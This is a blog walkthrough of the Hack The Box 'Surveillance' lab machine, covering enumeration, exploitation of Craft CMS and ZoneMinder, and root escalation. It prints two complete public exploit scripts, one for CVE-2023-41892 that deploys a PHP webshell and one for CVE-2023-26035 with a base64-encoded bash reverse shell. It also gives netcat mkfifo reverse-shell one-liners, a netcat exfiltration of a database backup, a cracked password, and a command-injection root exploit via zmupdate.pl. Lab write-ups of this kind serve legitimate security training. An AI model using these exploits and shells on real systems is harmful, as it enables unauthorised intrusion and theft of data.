Hack The Box (Surveillance)

Software Sinner
10 min readFeb 14, 2024

--

I’ve been on the Hack The Box platform for many years now and It sharpens my hacking skills. This machine was one of my favorites to hack. It was a Medium level machine and I am proud of myself for owning it. The machine goes over a heavy enumeration that leads to exploiting Craft CMS to get a low-level shell on the server. Privilege escalation was performed by doing a local port-forward with ssh exploiting ZoneMinder.

They are always watching you…

Enumeration:

I blasted autorecon at the IP and got back only two ports which was sweet. I served up all of my scan results from autorecon to my Python local HTTP server. This helps me stay organized when viewing my results in a web browser.

sudo $(which autorecon) <Target IP Here>

In another terminal window while autorecon is running:

python -m http.server 80

Nmap Results:

Nmap scan report for 10.10.11.245
Host is up, received user-set (0.076s latency).
Scanned at 2024-02-13 15:51:45 PST for 72s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
| 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

Visiting the IP in Firefox It was trying to communicate with the domain surveillance.htb. I mapped the domain to the machine's IP in the/etc/hosts file.

sudo nano /etc/hosts

Revisiting the IP back in my browser resolved it to the domain and was able to access the page.

The company offers Cameras, Intrusion, Perimeter Security, Access Control & Intercom services.

The first thing I always do when navigating a web page is analyze it by hitting ctrl-u on my keyboard for the “View Page Source” functionality in Firefox. I had the wappalyzer extension installed also so this gave me some info on what technologies the server was using.

I did a keyword search in the view page source ctrl-f for “CMS” and came across some version information.

Exploitation:

Doing some googling of the version I found an exploit on Github that this person spoiled for us since it's related to this machine.

Thanks anyway dude 😏.

#!/usr/bin/env python3
#coding: utf-8

# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
# Date: 2023-12-26
# Version: 4.0.0-RC1 - 4.4.14
# Vendor Homepage: https://craftcms.com/
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
# Tested on: Ubuntu 22.04.3 LTS
# Tested on: Craft CMS 4.4.14
# Exploit Author: Olivier Lasne
# CVE : CVE-2023-41892
# References :
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
# https://blog.calif.io/p/craftcms-rce

import requests
import sys, re

if(len(sys.argv) < 2):
print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")
exit()

HOST = sys.argv[1]

if not re.match('^https?://.*', HOST):
print("\033[1;31m[-]\033[0m URL should start with http or https")
exit()

print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")

## Execute phpinfo() and extract config info from the website
url = HOST + '/index.php'
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}

data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'

try:
r = requests.post(url, headers=content_type, data=data)
except:
print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")
exit()

# If we succeed, we should have default phpinfo credits
if not 'PHP Group' in r.text:
print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')
exit()


# Extract config value for tmp_dir and document_root
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

tmp_dir = re.search(pattern1, r.text, re.DOTALL).group(1)
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)


if 'no value' in tmp_dir:
tmp_dir = '/tmp'

print(f'temporary directory: {tmp_dir}')
print(f'web server root: {document_root}')

## Create shell.php in tmp_dir

data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
<write filename="info:DOCUMENTROOT/shell.php"/>
</image>""".replace("DOCUMENTROOT", document_root), "text/plain")
}

print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #


# Use the Imagick trick to move the webshell in DOCUMENT_ROOT

data = {
"action": "conditions/render",
"configObject[class]": r"craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
}

print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

if r.status_code != 502:
print("\033[1;31m[-]\033[0m Exploit failed")
exit()

print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")
print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")
print("\033[1;92m[!]\033[0m Enjoy your shell\n")

url = HOST + '/shell.php'

## Pseudo Shell
while True:
command = input('\033[1;96m>\033[0m ')
if command == 'exit':
exit()

if command == 'clear' or command == 'cls':
print('\n' * 100)
print('\033[H\033[3J', end='')
continue

data = {'cmd' : command}
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

# exit if we have an error
if r.status_code != 200:
print(f"Error: status code {r.status_code} for {url}")
exit()

res_command = r.text
res_command = re.sub('^caption:', '', res_command)
res_command = re.sub(' CAPTION.*$', '', res_command)

print(res_command, end='')

Okay let's at least do a breakdown of what this exploit code is doing:

This Python script is an exploit for a vulnerability (CVE-2023–41892) in Craft CMS, versions 4.0.0-RC1 through 4.4.14, which allows unauthenticated remote code execution (RCE).

  • Usage Check: The script checks if it has been provided with the required command-line argument (the URL of the vulnerable Craft CMS instance).
  • Execute PHPInfo: Sends a request to the target Craft CMS instance to execute phpinfo() and extract configuration information.
  • Extract Configuration: Parses the response from phpinfo() to extract values for upload_tmp_dir and $_SERVER[‘DOCUMENT_ROOT’].
  • Create Shell: Constructs a malicious PHP file (shell.php) with code that allows command execution on the server.
  • Upload Shell: Uploads the malicious PHP file to the target server using a crafted request. It uses an Imagick trick to move the shell to the document root.
  • Interactive Shell: Once the shell is deployed, the script enters an interactive mode where it allows the user to execute commands on the target system through the uploaded shell.
  • Clean-Up: Provides instructions on how to delete the uploaded shell after use.
sudo git clone https://github.com/Faelian/CraftCMS_CVE-2023-41892
cd CraftCMS_CVE-2023-41892
python3 craft-cms.py http://surveillance.htb/

The shell that was given to me was absolutely trash so I decided to run another reverse shell back to my machine.

On my attack machine:

nc -nlvp 1234

On the target machine:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your IP here> 1234 >/tmp/f
/usr/bin/script -qc /bin/bash /dev/null

Post-Exploitation:

The next step for me since I was only www-data, was to enumerate the system for password files, etc. I pushed linpeas onto the machine and found some juicy stuff that led me to an insane amount of rabbit holes.

Sorry, Alice sometimes it be like that.

I took note of the passwords discovered and connected to the MySQL databases found password hashes tried to break them and got nothing…

Looking back at my Linpeas results I found this interesting file:

var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip

I pushed the file onto my machine so I could analyze it further.

On my attack machine:

nc -l -p <port>  > surveillance--2023-10-17-202801--v4.4.14.sql.zip

On the target machine:

nc <attackers ip> <port> < surveillance--2023-10-17-202801--v4.4.14.sql.zip

Opened the file with gedit and did a ctr-f related to users that I found on the system or passwords and came across a hash for Matthew.

Ran a hash-identifier to discover what type of hash I was working with and it was SHA-256.

Threw the hash into a file ran Johnny Boy the Ripper on it and then sshd onto the machine.

john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256

Nice password Matthew you nerd!

username: matthew
password: starcraft122490
sudo ssh -oHostKeyAlgorithms=+ssh-dss matthew@10.10.11.245

I ran linpeas again and revisited the section where it highlighted open active ports and port 8080 was interesting to me.

To access this port I needed to do an SSH Local Port Forward. A local Port redirects traffic from a local port on the client machine to a specified port on a remote server through an SSH connection.

On my attack machine I ran:

ssh -L 2222:127.0.0.1:8080 matthew@10.10.11.245

Visited my localhost IP in a browser on port 2222 and was presented with a ZoneMinder login page.

Like any great hacker would do next I googled for any exploits out there available for ZoneMinder and came across yet another RCE-related exploit.

sudo git clone https://github.com/rvizx/CVE-2023-26035
cd CVE-2023-26035
nc -nlvp 7777
python3 exploit.py -t http://127.0.0.1:2222/ -i <your Attacker IP here> -p 7777

Let’s break down this exploit code also:

import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64

# CVE-2023-26035 - Unauthenticated RCE in ZoneMinder Snapshots
# Author : Ravindu Wickramasinghe | rvz (@RVIZX9)

class ZoneMinderExploit:
def __init__(self, target_uri):
self.target_uri = target_uri
self.csrf_magic = None

def fetch_csrf_token(self):
print("[>] fetching csrt token")
response = requests.get(self.target_uri)
self.csrf_magic = self.get_csrf_magic(response)
if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
print(f"[>] recieved the token: {self.csrf_magic}")
return True
print("[!] unable to fetch or parse token.")
return False

def get_csrf_magic(self, response):
return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)

def execute_command(self, cmd):
print("[>] sending payload..")
data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
response = requests.post(f"{self.target_uri}/index.php", data=data)
print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")

def exploit(self, payload):
if self.fetch_csrf_token():
print(f"[>] executing...")
self.execute_command(payload)

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
parser.add_argument('-p', '--port', required=True, help='port')
args = parser.parse_args()

# generating the payload
ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
ps2 = base64.b64encode(ps1.encode()).decode()
payload = f"echo {ps2} | base64 -d | /bin/bash"

ZoneMinderExploit(args.target_url).exploit(payload)

This Python script is an exploit for (CVE-2023–26035), which is an unauthenticated Remote Code Execution (RCE) vulnerability in ZoneMinder Snapshots.

Imports:

  • The script imports necessary modules: re for regular expressions, requests for making HTTP requests, BeautifulSoup from the bs4 library for parsing HTML, argparse for parsing command-line arguments, and base64 for encoding payloads.

ZoneMinderExploit Class:

  • This class encapsulates the exploit logic:
  • The __init__ method initializes the target URI and CSRF token.
  • The fetch_csrf_token method sends a GET request to the target URI to fetch the CSRF token from the HTML response.
  • The get_csrf_magic method parses the HTML response to extract the CSRF token.
  • The execute_command method sends a POST request with a payload to execute arbitrary commands on the target.
  • The exploit method orchestrates the exploit by fetching the CSRF token and executing the payload.

Payload Generation:

  • The script parses command-line arguments to obtain the target URL, local IP, and port.
  • It generates a payload (ps1) that establishes a reverse shell connection to the specified local IP and port using bash.
  • The payload is encoded using base64 (ps2), and a final payload is constructed to decode and execute the payload using base64 and bash.

Command-Line Argument Parsing:

  • The script uses argparse to parse command-line arguments, expecting the target URL, local IP, and port.

Exploit Execution:

  • The script instantiates the ZoneMinderExploit class with the target URL and calls the exploit method, passing the generated payload.
  • The exploit fetches the CSRF token and then executes the payload to establish a reverse shell on the target system.

The first thing I always do and I mean always is run sudo -l .

This had me chasing my tail for a while and had no idea how to abuse this. Eventually, I decided to look in the /usr/bin directory for all zm related scripts and found zmupdate.pl .

Did some reverse engineering on this file and saw that the user= argument parameter was vulnerable to an injection attack. So I ran the file passed my injection to the user argument and got a shell as root!

sudo /usr/bin/zmupdate.pl --version=1 --user='$(/bin/bash -i)' --pass=ZoneMinderPassword2023

The shell was super buggy and couldn't run anything as root so I did another reverse shell back onto my machine and got a stable shell.

On the target machine after running the exploit:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 3333 >/tmp/f

--

--

Responses (1)